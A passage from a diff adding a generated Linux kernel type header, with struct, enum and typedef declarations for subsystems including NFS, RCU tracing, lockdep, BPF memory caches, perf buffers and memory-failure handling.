rpc_task *, struct nfs_commit_data *); + int (*lock)(struct file *, int, struct file_lock *); + int (*lock_check_bounds)(const struct file_lock *); + void (*clear_acl_cache)(struct inode *); + void (*close_context)(struct nfs_open_context *, int); + struct inode * (*open_context)(struct inode *, struct nfs_open_context *, int, struct iattr *, int *); + int (*have_delegation)(struct inode *, fmode_t); + struct nfs_client * (*alloc_client)(const struct nfs_client_initdata *); + struct nfs_client * (*init_client)(struct nfs_client *, const struct nfs_client_initdata *); + void (*free_client)(struct nfs_client *); + struct nfs_server * (*create_server)(struct fs_context *); + struct nfs_server * (*clone_server)(struct nfs_server *, struct nfs_fh *, struct nfs_fattr *, rpc_authflavor_t); + int (*discover_trunking)(struct nfs_server *, struct nfs_fh *); + void (*enable_swap)(struct inode *); + void (*disable_swap)(struct inode *); +}; + +struct nfs_access_entry { + struct rb_node rb_node; + struct list_head lru; + kuid_t fsuid; + kgid_t fsgid; + struct group_info *group_info; + u64 timestamp; + __u32 mask; + struct callback_head callback_head; +}; + +struct uuidcmp { + const char *uuid; + int len; +}; + +enum psc_op { + SNP_PAGE_STATE_PRIVATE = 1, + SNP_PAGE_STATE_SHARED = 2, +}; + +struct trace_event_raw_x86_fpu { + struct trace_entry ent; + struct fpu *fpu; + bool load_fpu; + u64 xfeatures; + u64 xcomp_bv; + char __data[0]; +}; + +struct trace_event_data_offsets_x86_fpu {}; + +typedef void (*btf_trace_x86_fpu_before_save)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_after_save)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_before_restore)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_after_restore)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_regs_activated)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_regs_deactivated)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_init_state)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_dropped)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_copy_src)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_copy_dst)(void *, struct fpu *); + +typedef void (*btf_trace_x86_fpu_xstate_check_failed)(void *, struct fpu *); + +enum mcp_flags { + MCP_TIMESTAMP = 1, + MCP_UC = 2, + MCP_DONTLOG = 4, + MCP_QUEUE_LOG = 8, +}; + +enum { + CMCI_STORM_NONE = 0, + CMCI_STORM_ACTIVE = 1, + CMCI_STORM_SUBSIDED = 2, +}; + +enum key_being_used_for { + VERIFYING_MODULE_SIGNATURE = 0, + VERIFYING_FIRMWARE_SIGNATURE = 1, + VERIFYING_KEXEC_PE_SIGNATURE = 2, + VERIFYING_KEY_SIGNATURE = 3, + VERIFYING_KEY_SELF_SIGNATURE = 4, + VERIFYING_UNSPECIFIED_SIGNATURE = 5, + NR__KEY_BEING_USED_FOR = 6, +}; + +struct hugepage_subpool { + spinlock_t lock; + long int count; + long int max_hpages; + long int used_hpages; + struct hstate *hstate; + long int min_hpages; + long int rsv_hpages; +}; + +struct hugetlbfs_sb_info { + long int max_inodes; + long int free_inodes; + spinlock_t stat_lock; + struct hstate *hstate; + struct hugepage_subpool *spool; + kuid_t uid; + kgid_t gid; + umode_t mode; +}; + +typedef u64 async_cookie_t; + +typedef void (*async_func_t)(void *, async_cookie_t); + +struct async_domain { + struct list_head pending; + unsigned int registered: 1; +}; + +struct pool_workqueue; + +struct worker_pool; + +struct worker { + union { + struct list_head entry; + struct hlist_node hentry; + }; + struct work_struct *current_work; + work_func_t current_func; + struct pool_workqueue *current_pwq; + unsigned int current_color; + struct list_head scheduled; + struct task_struct *task; + struct worker_pool *pool; + struct list_head node; + long unsigned int last_active; + unsigned int flags; + int id; + int sleeping; + char desc[24]; + struct workqueue_struct *rescue_wq; + work_func_t last_func; +}; + +struct async_entry { + struct list_head domain_list; + struct list_head global_list; + struct work_struct work; + async_cookie_t cookie; + async_func_t func; + void *data; + struct async_domain *domain; +}; + +struct pin_cookie { + unsigned int val; +}; + +struct lock_list { + struct list_head entry; + struct lock_class *class; + struct lock_class *links_to; + const struct lock_trace *trace; + u16 distance; + u8 dep; + u8 only_xr; + struct lock_list *parent; +}; + +struct lock_chain { + unsigned int irq_context: 2; + unsigned int depth: 6; + unsigned int base: 24; + struct hlist_node entry; + u64 chain_key; +}; + +enum ctx_state { + CONTEXT_DISABLED = -1, + CONTEXT_KERNEL = 0, + CONTEXT_IDLE = 1, + CONTEXT_USER = 2, + CONTEXT_GUEST = 3, + CONTEXT_MAX = 4, +}; + +enum lock_usage_bit { + LOCK_USED_IN_HARDIRQ = 0, + LOCK_USED_IN_HARDIRQ_READ = 1, + LOCK_ENABLED_HARDIRQ = 2, + LOCK_ENABLED_HARDIRQ_READ = 3, + LOCK_USED_IN_SOFTIRQ = 4, + LOCK_USED_IN_SOFTIRQ_READ = 5, + LOCK_ENABLED_SOFTIRQ = 6, + LOCK_ENABLED_SOFTIRQ_READ = 7, + LOCK_USED = 8, + LOCK_USED_READ = 9, + LOCK_USAGE_STATES = 10, +}; + +enum { + LOCKF_USED_IN_HARDIRQ = 1, + LOCKF_USED_IN_HARDIRQ_READ = 2, + LOCKF_ENABLED_HARDIRQ = 4, + LOCKF_ENABLED_HARDIRQ_READ = 8, + LOCKF_USED_IN_SOFTIRQ = 16, + LOCKF_USED_IN_SOFTIRQ_READ = 32, + LOCKF_ENABLED_SOFTIRQ = 64, + LOCKF_ENABLED_SOFTIRQ_READ = 128, + LOCKF_USED = 256, + LOCKF_USED_READ = 512, +}; + +struct pending_free { + struct list_head zapped; + long unsigned int lock_chains_being_freed[1024]; +}; + +struct delayed_free { + struct callback_head callback_head; + int index; + int scheduled; + struct pending_free pf[2]; +}; + +struct circular_queue { + struct lock_list *element[4096]; + unsigned int front; + unsigned int rear; +}; + +enum bfs_result { + BFS_EINVALIDNODE = -2, + BFS_EQUEUEFULL = -1, + BFS_RMATCH = 0, + BFS_RNOMATCH = 1, +}; + +typedef void (*call_rcu_func_t)(struct callback_head *, rcu_callback_t); + +enum { + CSD_FLAG_LOCK = 1, + IRQ_WORK_PENDING = 1, + IRQ_WORK_BUSY = 2, + IRQ_WORK_LAZY = 4, + IRQ_WORK_HARD_IRQ = 8, + IRQ_WORK_CLAIMED = 3, + CSD_TYPE_ASYNC = 0, + CSD_TYPE_SYNC = 16, + CSD_TYPE_IRQ_WORK = 32, + CSD_TYPE_TTWU = 48, + CSD_FLAG_TYPE_MASK = 240, +}; + +struct rcu_cblist { + struct callback_head *head; + struct callback_head **tail; + long int len; +}; + +struct rcu_synchronize { + struct callback_head head; + struct completion completion; +}; + +struct trace_event_raw_rcu_utilization { + struct trace_entry ent; + const char *s; + char __data[0]; +}; + +struct trace_event_raw_rcu_grace_period { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_future_grace_period { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + long int gp_seq_req; + u8 level; + int grplo; + int grphi; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_grace_period_init { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + u8 level; + int grplo; + int grphi; + long unsigned int qsmask; + char __data[0]; +}; + +struct trace_event_raw_rcu_exp_grace_period { + struct trace_entry ent; + const char *rcuname; + long int gpseq; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_exp_funnel_lock { + struct trace_entry ent; + const char *rcuname; + u8 level; + int grplo; + int grphi; + const char *gpevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_preempt_task { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + int pid; + char __data[0]; +}; + +struct trace_event_raw_rcu_unlock_preempted_task { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + int pid; + char __data[0]; +}; + +struct trace_event_raw_rcu_quiescent_state_report { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + long unsigned int mask; + long unsigned int qsmask; + u8 level; + int grplo; + int grphi; + u8 gp_tasks; + char __data[0]; +}; + +struct trace_event_raw_rcu_fqs { + struct trace_entry ent; + const char *rcuname; + long int gp_seq; + int cpu; + const char *qsevent; + char __data[0]; +}; + +struct trace_event_raw_rcu_stall_warning { + struct trace_entry ent; + const char *rcuname; + const char *msg; + char __data[0]; +}; + +struct trace_event_raw_rcu_dyntick { + struct trace_entry ent; + const char *polarity; + long int oldnesting; + long int newnesting; + int dynticks; + char __data[0]; +}; + +struct trace_event_raw_rcu_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + void *func; + long int qlen; + char __data[0]; +}; + +struct trace_event_raw_rcu_segcb_stats { + struct trace_entry ent; + const char *ctx; + long unsigned int gp_seq[4]; + long int seglen[4]; + char __data[0]; +}; + +struct trace_event_raw_rcu_kvfree_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + long unsigned int offset; + long int qlen; + char __data[0]; +}; + +struct trace_event_raw_rcu_batch_start { + struct trace_entry ent; + const char *rcuname; + long int qlen; + long int blimit; + char __data[0]; +}; + +struct trace_event_raw_rcu_invoke_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + void *func; + char __data[0]; +}; + +struct trace_event_raw_rcu_invoke_kvfree_callback { + struct trace_entry ent; + const char *rcuname; + void *rhp; + long unsigned int offset; + char __data[0]; +}; + +struct trace_event_raw_rcu_invoke_kfree_bulk_callback { + struct trace_entry ent; + const char *rcuname; + long unsigned int nr_records; + void **p; + char __data[0]; +}; + +struct trace_event_raw_rcu_batch_end { + struct trace_entry ent; + const char *rcuname; + int callbacks_invoked; + char cb; + char nr; + char iit; + char risk; + char __data[0]; +}; + +struct trace_event_raw_rcu_torture_read { + struct trace_entry ent; + char rcutorturename[8]; + struct callback_head *rhp; + long unsigned int secs; + long unsigned int c_old; + long unsigned int c; + char __data[0]; +}; + +struct trace_event_raw_rcu_barrier { + struct trace_entry ent; + const char *rcuname; + const char *s; + int cpu; + int cnt; + long unsigned int done; + char __data[0]; +}; + +struct trace_event_data_offsets_rcu_utilization {}; + +struct trace_event_data_offsets_rcu_grace_period {}; + +struct trace_event_data_offsets_rcu_future_grace_period {}; + +struct trace_event_data_offsets_rcu_grace_period_init {}; + +struct trace_event_data_offsets_rcu_exp_grace_period {}; + +struct trace_event_data_offsets_rcu_exp_funnel_lock {}; + +struct trace_event_data_offsets_rcu_preempt_task {}; + +struct trace_event_data_offsets_rcu_unlock_preempted_task {}; + +struct trace_event_data_offsets_rcu_quiescent_state_report {}; + +struct trace_event_data_offsets_rcu_fqs {}; + +struct trace_event_data_offsets_rcu_stall_warning {}; + +struct trace_event_data_offsets_rcu_dyntick {}; + +struct trace_event_data_offsets_rcu_callback {}; + +struct trace_event_data_offsets_rcu_segcb_stats {}; + +struct trace_event_data_offsets_rcu_kvfree_callback {}; + +struct trace_event_data_offsets_rcu_batch_start {}; + +struct trace_event_data_offsets_rcu_invoke_callback {}; + +struct trace_event_data_offsets_rcu_invoke_kvfree_callback {}; + +struct trace_event_data_offsets_rcu_invoke_kfree_bulk_callback {}; + +struct trace_event_data_offsets_rcu_batch_end {}; + +struct trace_event_data_offsets_rcu_torture_read {}; + +struct trace_event_data_offsets_rcu_barrier {}; + +typedef void (*btf_trace_rcu_utilization)(void *, const char *); + +typedef void (*btf_trace_rcu_grace_period)(void *, const char *, long unsigned int, const char *); + +typedef void (*btf_trace_rcu_future_grace_period)(void *, const char *, long unsigned int, long unsigned int, u8, int, int, const char *); + +typedef void (*btf_trace_rcu_grace_period_init)(void *, const char *, long unsigned int, u8, int, int, long unsigned int); + +typedef void (*btf_trace_rcu_exp_grace_period)(void *, const char *, long unsigned int, const char *); + +typedef void (*btf_trace_rcu_exp_funnel_lock)(void *, const char *, u8, int, int, const char *); + +typedef void (*btf_trace_rcu_preempt_task)(void *, const char *, int, long unsigned int); + +typedef void (*btf_trace_rcu_unlock_preempted_task)(void *, const char *, long unsigned int, int); + +typedef void (*btf_trace_rcu_quiescent_state_report)(void *, const char *, long unsigned int, long unsigned int, long unsigned int, u8, int, int, int); + +typedef void (*btf_trace_rcu_fqs)(void *, const char *, long unsigned int, int, const char *); + +typedef void (*btf_trace_rcu_stall_warning)(void *, const char *, const char *); + +typedef void (*btf_trace_rcu_dyntick)(void *, const char *, long int, long int, int); + +typedef void (*btf_trace_rcu_callback)(void *, const char *, struct callback_head *, long int); + +typedef void (*btf_trace_rcu_segcb_stats)(void *, struct rcu_segcblist *, const char *); + +typedef void (*btf_trace_rcu_kvfree_callback)(void *, const char *, struct callback_head *, long unsigned int, long int); + +typedef void (*btf_trace_rcu_batch_start)(void *, const char *, long int, long int); + +typedef void (*btf_trace_rcu_invoke_callback)(void *, const char *, struct callback_head *); + +typedef void (*btf_trace_rcu_invoke_kvfree_callback)(void *, const char *, struct callback_head *, long unsigned int); + +typedef void (*btf_trace_rcu_invoke_kfree_bulk_callback)(void *, const char *, long unsigned int, void **); + +typedef void (*btf_trace_rcu_batch_end)(void *, const char *, int, char, char, char, char); + +typedef void (*btf_trace_rcu_torture_read)(void *, const char *, struct callback_head *, long unsigned int, long unsigned int, long unsigned int); + +typedef void (*btf_trace_rcu_barrier)(void *, const char *, const char *, int, int, long unsigned int); + +struct early_boot_kfree_rcu { + struct callback_head rh; +}; + +struct rcu_tasks; + +typedef void (*rcu_tasks_gp_func_t)(struct rcu_tasks *); + +typedef void (*pregp_func_t)(struct list_head *); + +typedef void (*pertask_func_t)(struct task_struct *, struct list_head *); + +typedef void (*postscan_func_t)(struct list_head *); + +typedef void (*holdouts_func_t)(struct list_head *, bool, bool *); + +typedef void (*postgp_func_t)(struct rcu_tasks *); + +struct rcu_tasks_percpu; + +struct rcu_tasks { + struct rcuwait cbs_wait; + raw_spinlock_t cbs_gbl_lock; + struct mutex tasks_gp_mutex; + int gp_state; + int gp_sleep; + int init_fract; + long unsigned int gp_jiffies; + long unsigned int gp_start; + long unsigned int tasks_gp_seq; + long unsigned int n_ipis; + long unsigned int n_ipis_fails; + struct task_struct *kthread_ptr; + rcu_tasks_gp_func_t gp_func; + pregp_func_t pregp_func; + pertask_func_t pertask_func; + postscan_func_t postscan_func; + holdouts_func_t holdouts_func; + postgp_func_t postgp_func; + call_rcu_func_t call_func; + struct rcu_tasks_percpu *rtpcpu; + int percpu_enqueue_shift; + int percpu_enqueue_lim; + int percpu_dequeue_lim; + long unsigned int percpu_dequeue_gpseq; + struct mutex barrier_q_mutex; + atomic_t barrier_q_count; + struct completion barrier_q_completion; + long unsigned int barrier_q_seq; + char *name; + char *kname; +}; + +struct rcu_tasks_percpu { + struct rcu_segcblist cblist; + raw_spinlock_t lock; + long unsigned int rtp_jiffies; + long unsigned int rtp_n_lock_retries; + struct work_struct rtp_work; + struct irq_work rtp_irq_work; + struct callback_head barrier_q_head; + struct list_head rtp_blkd_tasks; + int cpu; + struct rcu_tasks *rtpp; +}; + +struct trc_stall_chk_rdr { + int nesting; + int ipi_to_cpu; + u8 needqs; +}; + +struct rcu_tasks_test_desc { + struct callback_head rh; + const char *name; + bool notrun; + long unsigned int runstart; +}; + +enum vm_fault_reason { + VM_FAULT_OOM = 1, + VM_FAULT_SIGBUS = 2, + VM_FAULT_MAJOR = 4, + VM_FAULT_HWPOISON = 16, + VM_FAULT_HWPOISON_LARGE = 32, + VM_FAULT_SIGSEGV = 64, + VM_FAULT_NOPAGE = 256, + VM_FAULT_LOCKED = 512, + VM_FAULT_RETRY = 1024, + VM_FAULT_FALLBACK = 2048, + VM_FAULT_DONE_COW = 4096, + VM_FAULT_NEEDDSYNC = 8192, + VM_FAULT_COMPLETED = 16384, + VM_FAULT_HINDEX_MASK = 983040, +}; + +struct rchan; + +struct rchan_buf { + void *start; + void *data; + size_t offset; + size_t subbufs_produced; + size_t subbufs_consumed; + struct rchan *chan; + wait_queue_head_t read_wait; + struct irq_work wakeup_work; + struct dentry *dentry; + struct kref kref; + struct page **page_array; + unsigned int page_count; + unsigned int finalized; + size_t *padding; + size_t prev_padding; + size_t bytes_consumed; + size_t early_bytes; + unsigned int cpu; + long: 64; + long: 64; + long: 64; +}; + +struct rchan_callbacks; + +struct rchan { + u32 version; + size_t subbuf_size; + size_t n_subbufs; + size_t alloc_size; + const struct rchan_callbacks *cb; + struct kref kref; + void *private_data; + size_t last_toobig; + struct rchan_buf **buf; + int is_global; + struct list_head list; + struct dentry *parent; + int has_base_filename; + char base_filename[255]; +}; + +struct rchan_callbacks { + int (*subbuf_start)(struct rchan_buf *, void *, void *, size_t); + struct dentry * (*create_buf_file)(const char *, struct dentry *, umode_t, struct rchan_buf *, int *); + int (*remove_buf_file)(struct dentry *); +}; + +struct partial_page { + unsigned int offset; + unsigned int len; + long unsigned int private; +}; + +struct splice_pipe_desc { + struct page **pages; + struct partial_page *partial; + int nr_pages; + unsigned int nr_pages_max; + const struct pipe_buf_operations *ops; + void (*spd_release)(struct splice_pipe_desc *, unsigned int); +}; + +struct rchan_percpu_buf_dispatcher { + struct rchan_buf *buf; + struct dentry *dentry; +}; + +enum { + TRACE_NOP_OPT_ACCEPT = 1, + TRACE_NOP_OPT_REFUSE = 2, +}; + +struct bpf_mem_caches; + +struct bpf_mem_cache; + +struct bpf_mem_alloc { + struct bpf_mem_caches *caches; + struct bpf_mem_cache *cache; + struct work_struct work; +}; + +struct bpf_mem_cache { + struct llist_head free_llist; + local_t active; + struct llist_head free_llist_extra; + struct irq_work refill_work; + struct obj_cgroup *objcg; + int unit_size; + int free_cnt; + int low_watermark; + int high_watermark; + int batch; + int percpu_size; + struct callback_head rcu; + struct llist_head free_by_rcu; + struct llist_head waiting_for_gp; + atomic_t call_rcu_in_progress; +}; + +struct bpf_mem_caches { + struct bpf_mem_cache cache[11]; +}; + +struct btf_id_set8 { + u32 cnt; + u32 flags; + struct { + u32 id; + u32 flags; + } pairs[0]; +}; + +typedef int (*btf_kfunc_filter_t)(const struct bpf_prog *, u32); + +struct btf_kfunc_id_set { + struct module *owner; + struct btf_id_set8 *set; + btf_kfunc_filter_t filter; +}; + +struct btf_id_dtor_kfunc { + u32 btf_id; + u32 kfunc_btf_id; +}; + +struct bpf_cpumask { + cpumask_t cpumask; + struct callback_head rcu; + refcount_t usage; +}; + +struct perf_event_mmap_page { + __u32 version; + __u32 compat_version; + __u32 lock; + __u32 index; + __s64 offset; + __u64 time_enabled; + __u64 time_running; + union { + __u64 capabilities; + struct { + __u64 cap_bit0: 1; + __u64 cap_bit0_is_deprecated: 1; + __u64 cap_user_rdpmc: 1; + __u64 cap_user_time: 1; + __u64 cap_user_time_zero: 1; + __u64 cap_user_time_short: 1; + __u64 cap_____res: 58; + }; + }; + __u16 pmc_width; + __u16 time_shift; + __u32 time_mult; + __u64 time_offset; + __u64 time_zero; + __u32 size; + __u32 __reserved_1; + __u64 time_cycles; + __u64 time_mask; + __u8 __reserved[928]; + __u64 data_head; + __u64 data_tail; + __u64 data_offset; + __u64 data_size; + __u64 aux_head; + __u64 aux_tail; + __u64 aux_offset; + __u64 aux_size; +}; + +enum perf_callchain_context { + PERF_CONTEXT_HV = 18446744073709551584ULL, + PERF_CONTEXT_KERNEL = 18446744073709551488ULL, + PERF_CONTEXT_USER = 18446744073709551104ULL, + PERF_CONTEXT_GUEST = 18446744073709549568ULL, + PERF_CONTEXT_GUEST_KERNEL = 18446744073709549440ULL, + PERF_CONTEXT_GUEST_USER = 18446744073709549056ULL, + PERF_CONTEXT_MAX = 18446744073709547521ULL, +}; + +struct perf_callchain_entry_ctx { + struct perf_callchain_entry *entry; + u32 max_stack; + u32 nr; + short int contexts; + bool contexts_maxed; +}; + +struct perf_buffer { + refcount_t refcount; + struct callback_head callback_head; + int nr_pages; + int overwrite; + int paused; + atomic_t poll; + local_t head; + unsigned int nest; + local_t events; + local_t wakeup; + local_t lost; + long int watermark; + long int aux_watermark; + spinlock_t event_lock; + struct list_head event_list; + atomic_t mmap_count; + long unsigned int mmap_locked; + struct user_struct *mmap_user; + long int aux_head; + unsigned int aux_nest; + long int aux_wakeup; + long unsigned int aux_pgoff; + int aux_nr_pages; + int aux_overwrite; + atomic_t aux_mmap_count; + long unsigned int aux_mmap_locked; + void (*free_aux)(void *); + refcount_t aux_refcount; + int aux_in_sampling; + void **aux_pages; + void *aux_priv; + struct perf_event_mmap_page *user_page; + void *data_pages[0]; +}; + +struct callchain_cpus_entries { + struct callback_head callback_head; + struct perf_callchain_entry *cpu_entries[0]; +}; + +struct vm_special_mapping { + const char *name; + struct page **pages; + vm_fault_t (*fault)(const struct vm_special_mapping *, struct vm_area_struct *, struct vm_fault *); + int (*mremap)(const struct vm_special_mapping *, struct vm_area_struct *); +}; + +struct vm_unmapped_area_info { + long unsigned int flags; + long unsigned int length; + long unsigned int low_limit; + long unsigned int high_limit; + long unsigned int align_mask; + long unsigned int align_offset; +}; + +enum mapping_flags { + AS_EIO = 0, + AS_ENOSPC = 1, + AS_MM_ALL_LOCKS = 2, + AS_UNEVICTABLE = 3, + AS_EXITING = 4, + AS_NO_WRITEBACK_TAGS = 5, + AS_LARGE_FOLIO_SUPPORT = 6, +}; + +enum { + HUGETLB_SHMFS_INODE = 1, + HUGETLB_ANONHUGE_INODE = 2, +}; + +struct anon_vma_chain { + struct vm_area_struct *vma; + struct anon_vma *anon_vma; + struct list_head same_vma; + struct rb_node rb; + long unsigned int rb_subtree_last; +}; + +struct trace_event_raw_vm_unmapped_area { + struct trace_entry ent; + long unsigned int addr; + long unsigned int total_vm; + long unsigned int flags; + long unsigned int length; + long unsigned int low_limit; + long unsigned int high_limit; + long unsigned int align_mask; + long unsigned int align_offset; + char __data[0]; +}; + +struct trace_event_raw_vma_mas_szero { + struct trace_entry ent; + struct maple_tree *mt; + long unsigned int start; + long unsigned int end; + char __data[0]; +}; + +struct trace_event_raw_vma_store { + struct trace_entry ent; + struct maple_tree *mt; + struct vm_area_struct *vma; + long unsigned int vm_start; + long unsigned int vm_end; + char __data[0]; +}; + +struct trace_event_raw_exit_mmap { + struct trace_entry ent; + struct mm_struct *mm; + struct maple_tree *mt; + char __data[0]; +}; + +struct trace_event_data_offsets_vm_unmapped_area {}; + +struct trace_event_data_offsets_vma_mas_szero {}; + +struct trace_event_data_offsets_vma_store {}; + +struct trace_event_data_offsets_exit_mmap {}; + +typedef void (*btf_trace_vm_unmapped_area)(void *, long unsigned int, struct vm_unmapped_area_info *); + +typedef void (*btf_trace_vma_mas_szero)(void *, struct maple_tree *, long unsigned int, long unsigned int); + +typedef void (*btf_trace_vma_store)(void *, struct maple_tree *, struct vm_area_struct *); + +typedef void (*btf_trace_exit_mmap)(void *, struct mm_struct *); + +struct vma_prepare { + struct vm_area_struct *vma; + struct vm_area_struct *adj_next; + struct file *file; + struct address_space *mapping; + struct anon_vma *anon_vma; + struct vm_area_struct *insert; + struct vm_area_struct *remove; + struct vm_area_struct *remove2; +}; + +typedef unsigned int isolate_mode_t; + +enum mf_result { + MF_IGNORED = 0, + MF_FAILED = 1, + MF_DELAYED = 2, + MF_RECOVERED = 3, +}; + +enum mf_action_page_type { + MF_MSG_KERNEL = 0, + MF_MSG_KERNEL_HIGH_ORDER = 1, + MF_MSG_SLAB = 2, + MF_MSG_DIFFERENT_COMPOUND = 3, + MF_MSG_HUGE = 4, + MF_MSG_FREE_HUGE = 5, + MF_MSG_UNMAP_FAILED = 6, + MF_MSG_DIRTY_SWAPCACHE = 7, + MF_MSG_CLEAN_SWAPCACHE = 8, + MF_MSG_DIRTY_MLOCKED_LRU = 9, + MF_MSG_CLEAN_MLOCKED_LRU = 10, + MF_MSG_DIRTY_UNEVICTABLE_LRU = 11, + MF_MSG_CLEAN_UNEVICTABLE_LRU = 12, + MF_MSG_DIRTY_LRU = 13, + MF_MSG_CLEAN_LRU = 14, + MF_MSG_TRUNCATED_LRU = 15, + MF_MSG_BUDDY = 16, + MF_MSG_DAX = 17, + MF_MSG_UNSPLIT_THP = 18, + MF_MSG_UNKNOWN = 19, +}; + +typedef long unsigned int dax_entry_t; + +enum ttu_flags { + TTU_SPLIT_HUGE_PMD = 4, + TTU_IGNORE_MLOCK = 8, + TTU_SYNC = 16, + TTU_HWPOISON = 32, + TTU_BATCH_FLUSH = 64, + TTU_RMAP_LOCKED = 128, +}; + +enum hugetlb_page_flags { + HPG_restore_reserve = 0, + HPG_migratable = 1, + HPG_temporary = 2, + HPG_freed = 3, + HPG_vmemmap_optimized = 4, + HPG_raw_hwp_unreliable = 5, + __NR_HPAGEFLAGS = 6, +}; + +struct migration_target_control { + int nid; + nodemask_t *nmask; + gfp_t gfp_mask; +}; + +struct to_kill { + struct list_head nd; + struct task_struct *tsk; + long unsigned int addr; + short int size_shift; +}; + +struct hwp_walk { + struct to_kill tk; + long unsigned int pfn; + int flags; +}; + +struct page_state { + long unsigned int mask; + long unsigned int res; + enum mf_action_page_type type; + int (*action)(struct page_state *, struct page *); +}; + +struct raw_hwp_page { + struct llist_node node; + struct page *page; +}; + +struct memory_failure_entry { + long unsigned int pfn; + int flags; +}; + +struct memory_failure_cpu { + struct { + union { + struct __kfifo kfifo; + struct memory_failure_entry *type; + const struct memory_failure_entry *const_type; + char (*rectype)[0]; + struct memory_failure_entry *ptr; + const struct memory_failure_entry *ptr_const; + }; + struct memory_failure_entry buf[16]; + } fifo; + spinlock_t lock; + struct work_struct work; +}; + +struct saved { + struct path link; + struct delayed_call done; + const char *name; + unsigned int seq; +}; + +struct nameidata { + struct path path; + struct qstr last; + struct path root; + struct inode *inode; + unsigned int flags; + unsigned int state; + unsigned int seq; + unsigned int next_seq; + unsigned int m_seq; + unsigned int r_seq; + int last_type; + unsigned int depth; + int total_link_count; + struct saved *stack; + struct saved internal[2]; + struct filename *name; + struct nameidata *saved; + unsigned int root_seq; + int dfd; + vfsuid_t dir_vfsuid; + umode_t dir_mode; +}; + +enum inode_i_mutex_lock_class { + I_MUTEX_NORMAL = 0, + I_MUTEX_PARENT = 1, + I_MUTEX_CHILD = 2, + I_MUTEX_XATTR = 3, + I_MUTEX_NONDIR2 = 4, + I_MUTEX_PARENT2 = 5, +}; + +struct renamedata { + struct mnt_idmap *old_mnt_idmap; + struct inode *old_dir; + struct dentry *old_dentry; + struct mnt_idmap *new_mnt_idmap; + struct inode *new_dir; + struct dentry *new_dentry; + struct inode **delegated_inode; + unsigned int flags; +}; + +enum { + LAST_NORM = 0, + LAST_ROOT = 1, + LAST_DOT = 2, + LAST_DOTDOT = 3, +}; + +struct open_flags { + int open_flag; + umode_t mode; + int acc_mode; + int intent; + int lookup_flags; +}; + +enum { + WALK_TRAILING = 1, + WALK_MORE = 2, + WALK_NOFOLLOW = 4, +}; + +struct word_at_a_time { + const long unsigned int one_bits; + const long unsigned int high_bits; +}; + +struct sysinfo { + __kernel_long_t uptime; + __kernel_ulong_t loads[3]; + __kernel_ulong_t totalram; + __kernel_ulong_t freeram; + __kernel_ulong_t sharedram; + __kernel_ulong_t bufferram; + __kernel_ulong_t totalswap; + __kernel_ulong_t freeswap; + __u16 procs; + __u16 pad; + __kernel_ulong_t totalhigh; + __kernel_ulong_t freehigh; + __u32 mem_unit; + char _f[0]; +}; + +enum { + PROC_ENTRY_PERMANENT = 1, +}; + +enum netfs_rreq_trace { + netfs_rreq_trace_assess = 0, + netfs_rreq_trace_copy = 1, + netfs_rreq_trace_done = 2, + netfs_rreq_trace_free = 3, + netfs_rreq_trace_resubmit = 4, + netfs_rreq_trace_unlock = 5, + netfs_rreq_trace_unmark = 6, +} __attribute__((mode(byte))); + +enum netfs_sreq_trace { + netfs_sreq_trace_download_instead = 0, + netfs_sreq_trace_free = 1, + netfs_sreq_trace_prepare = 2, + netfs_sreq_trace_resubmit_short = 3, + netfs_sreq_trace_submit = 4, + netfs_sreq_trace_terminated = 5, + netfs_sreq_trace_write = 6, + netfs_sreq_trace_write_skip = 7, + netfs_sreq_trace_write_term = 8, +} __attribute__((mode(byte))); + +enum netfs_rreq_ref_trace { + netfs_rreq_trace_get_hold = 0, + netfs_rreq_trace_get_subreq = 1, + netfs_rreq_trace_put_complete = 2, + netfs_rreq_trace_put_discard = 3, + netfs_rreq_trace_put_failed = 4, + netfs_rreq_trace_put_hold = 5, + netfs_rreq_trace_put_subreq = 6, + netfs_rreq_trace_put_zero_len = 7, + netfs_rreq_trace_new = 8, +} __attribute__((mode(byte))); + +enum netfs_sreq_ref_trace { + netfs_sreq_trace_get_copy_to_cache = 0, + netfs_sreq_trace_get_resubmit = 1, + netfs_sreq_trace_get_short_read = 2, + netfs_sreq_trace_new = 3, + netfs_sreq_trace_put_clear = 4, + netfs_sreq_trace_put_failed = 5, + netfs_sreq_trace_put_merged = 6, + netfs_sreq_trace_put_no_copy = 7, + netfs_sreq_trace_put_terminated = 8, +} __attribute__((mode(byte))); + +enum { + IOPRIO_CLASS_NONE = 0, + IOPRIO_CLASS_RT = 1, + IOPRIO_CLASS_BE = 2, + IOPRIO_CLASS_IDLE = 3, +}; + +enum positive_aop_returns { + AOP_WRITEPAGE_ACTIVATE = 524288, + AOP_TRUNCATED_PAGE = 524289, +}; + +struct disk_stats { + u64 nsecs[4]; + long unsigned int sectors[4]; + long unsigned int ios[4]; + long unsigned int merges[4]; + long unsigned int io_ticks; + local_t in_flight[2]; +}; + +enum req_op { + REQ_OP_READ = 0, + REQ_OP_WRITE = 1, + REQ_OP_FLUSH = 2, + REQ_OP_DISCARD = 3, + REQ_OP_SECURE_ERASE = 5, + REQ_OP_WRITE_ZEROES = 9, + REQ_OP_ZONE_OPEN = 10, + REQ_OP_ZONE_CLOSE = 11, + REQ_OP_ZONE_FINISH = 12, + REQ_OP_ZONE_APPEND = 13, + REQ_OP_ZONE_RESET = 15, + REQ_OP_ZONE_RESET_ALL = 17, + REQ_OP_DRV_IN = 34, + 